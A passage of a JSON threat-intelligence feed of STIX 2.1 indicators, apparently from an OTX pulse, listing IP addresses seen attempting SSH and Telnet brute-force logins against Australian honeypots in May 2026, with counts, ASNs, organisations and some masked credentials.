      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 267804. Organisation(s): MORAN DOLORES GRACIELA.",
      "id": "indicator--229a2725-e0c9-4bb9-9015-4b82b0605f78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.172.109.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T23:15:10.000Z",
      "valid_until": "2026-06-08T23:15:08.000Z"
    },
    {
      "created": "2026-05-08T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--0f9903a5-aef8-4b56-a9ee-07cbae4e3f71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.43.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T00:15:10.000Z",
      "valid_until": "2026-06-09T00:15:08.000Z"
    },
    {
      "created": "2026-05-08T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--12da33d5-8221-4515-bbe6-241fff4d3769",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.238.118.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T01:15:10.000Z",
      "valid_until": "2026-06-09T01:15:08.000Z"
    },
    {
      "created": "2026-05-08T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 131596. Organisation(s): TBC.",
      "id": "indicator--1ea81e44-8159-4148-81a0-cd75e2f3327d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.241.209.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T01:15:10.000Z",
      "valid_until": "2026-06-09T01:15:08.000Z"
    },
    {
      "created": "2026-05-08T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--d6821c41-e209-4401-91f8-34ed8602aba4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '18.205.150.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T01:15:10.000Z",
      "valid_until": "2026-06-09T01:15:08.000Z"
    },
    {
      "created": "2026-05-08T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 18734. Organisation(s): Operbes, S.A. de C.V..",
      "id": "indicator--79743c7b-49a4-441d-9dd6-849337f756a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.202.239.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T01:15:10.000Z",
      "valid_until": "2026-06-09T01:15:08.000Z"
    },
    {
      "created": "2026-05-08T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 110. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): a***n, h****r, l*******r, o****e, A***n. Passwords observed (masked): a*******3, p******d, A*******4, a***n, a******3.",
      "id": "indicator--b671ec01-2a07-41fa-97d1-66239afe9c47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T01:15:10.000Z",
      "valid_until": "2026-06-09T01:15:08.000Z"
    },
    {
      "created": "2026-05-08T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--38185fa0-626a-49e0-85c0-5f9f2fcf1abc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T01:15:10.000Z",
      "valid_until": "2026-06-09T01:15:08.000Z"
    },
    {
      "created": "2026-05-08T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--976a71cd-2e4b-46fb-9a9f-2743af4eade1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.2.44.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T01:15:10.000Z",
      "valid_until": "2026-06-09T01:15:08.000Z"
    },
    {
      "created": "2026-05-08T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--a0310af9-c39d-4d7f-b109-9bd48cfe4f72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T01:15:10.000Z",
      "valid_until": "2026-06-09T01:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--5fc343cd-edc5-4571-969a-75474cd42e46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.109.11.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 37468. Organisation(s): ANGOLA-CABLES. Usernames observed (masked): a***n, u**r, r**t, s******n, u****u. Passwords observed (masked): 1******r, !****E, **, 1****3, 1**4.",
      "id": "indicator--2571a863-bd53-487a-997f-616c3b30db32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.211.152.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 131366. Organisation(s): Lanit Technology and Communication Joint Stock Company.",
      "id": "indicator--614a40c4-30c4-41c1-91fa-65289f1bd381",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.146.23.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d32d00ac-827a-458d-8259-c0209f4736f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.209.232.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--c9f34465-995e-4bda-b4cb-f0efdbaa36ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.29.226.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 310. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): u****u, a***n, 3**********4, r**t, a******s. Passwords observed (masked): 3***********4, 3**********4, **, **, 1***5.",
      "id": "indicator--932633ac-90dc-490b-a3cd-dd13e335a3d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '135.235.138.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--89935d24-41c6-4fbd-94c7-26ac53a43588",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.40.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--ddf9266f-3be0-4cae-97b5-3baf15b7bcd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.162.182.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--1e81521f-4e4e-46fe-9823-353165c0f3cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.179.179.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 264776. Organisation(s): Omar Anselmo Ripoll TDC NET.",
      "id": "indicator--3dca481c-4e42-4d5c-8b30-f69511072777",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.197.250.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133296. Organisation(s): Web Werks India Pvt. Ltd..",
      "id": "indicator--5b474ac6-bd39-42df-8da5-b0350ff98baa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.149.246.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--4342f417-5b97-434c-9414-1cc23c1f5724",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BA. ASN(s): 199525. Organisation(s): Net-Flet d.o.o..",
      "id": "indicator--fbdc6074-3f2b-47c4-a8c6-552092bfb74c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.65.107.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--13d4e8d5-b4e4-48e0-9e77-292bd260a94b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.244.103.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--f13d901f-ce5d-4e2a-9c86-19c6ad94145a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.219.100.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--90a541f5-5252-4922-9e28-503a07eb76c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.216.92.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 61461. Organisation(s): Airtek Solutions C.A..",
      "id": "indicator--2a223f27-3c4c-47d6-9330-b0f5edfb0374",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.62.161.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8220. Organisation(s): COLT Technology Services Group Limited. Usernames observed (masked): a***n, d****n, b****p, d****n. Passwords observed (masked): 1****e, 1*******y, 4**1, 5***1, 6****1.",
      "id": "indicator--a38d44ad-2b1d-47a2-9b67-9c6d72bb1f84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.86.98.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--a6f8d423-1abe-448b-84b4-0e466138b61b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.234.223.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 269730. Organisation(s): TECNOVEN SERVICES CA.",
      "id": "indicator--45cf307e-3564-4eb4-84a4-fcf4ffc5edc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.51.210.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267614. Organisation(s): SIGAON SERVICOS TELECOMUNICACOES EIRELE.",
      "id": "indicator--e95134c2-19ed-4a2b-9ad0-3396525de8cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.71.110.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 24164. Organisation(s): UNION BROADBAND NETWORK.",
      "id": "indicator--97d2a9c2-7c5e-4044-ab7c-c5293ea2f181",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.158.69.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--eb0c2cc5-3356-477d-ab73-715464d23f54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--c7ef4a0d-166c-4dfc-868a-863405eb1133",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.48.72.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 322. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 15557. Organisation(s): Societe Francaise Du Radiotelephone - SFR SA. Usernames observed (masked): u****u, a***n, 3**********4, r**t, a******s. Passwords observed (masked): 3***********4, 3**********4, **, **, 1***5.",
      "id": "indicator--60f8567d-ba63-4ab6-a4dc-4dc02b4b87bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.142.46.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24961. Organisation(s): WIIT AG.",
      "id": "indicator--b58a9b61-1b7e-4d7e-93f4-a48208f1fd93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T02:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.163.145.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:15:12.000Z",
      "valid_until": "2026-06-09T02:15:08.000Z"
    },
    {
      "created": "2026-05-08T02:15:12.000Z",
